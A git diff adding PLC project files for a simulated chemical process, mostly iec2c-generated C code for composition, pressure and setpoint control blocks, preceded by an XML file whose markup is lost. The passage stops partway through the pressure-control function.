+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + 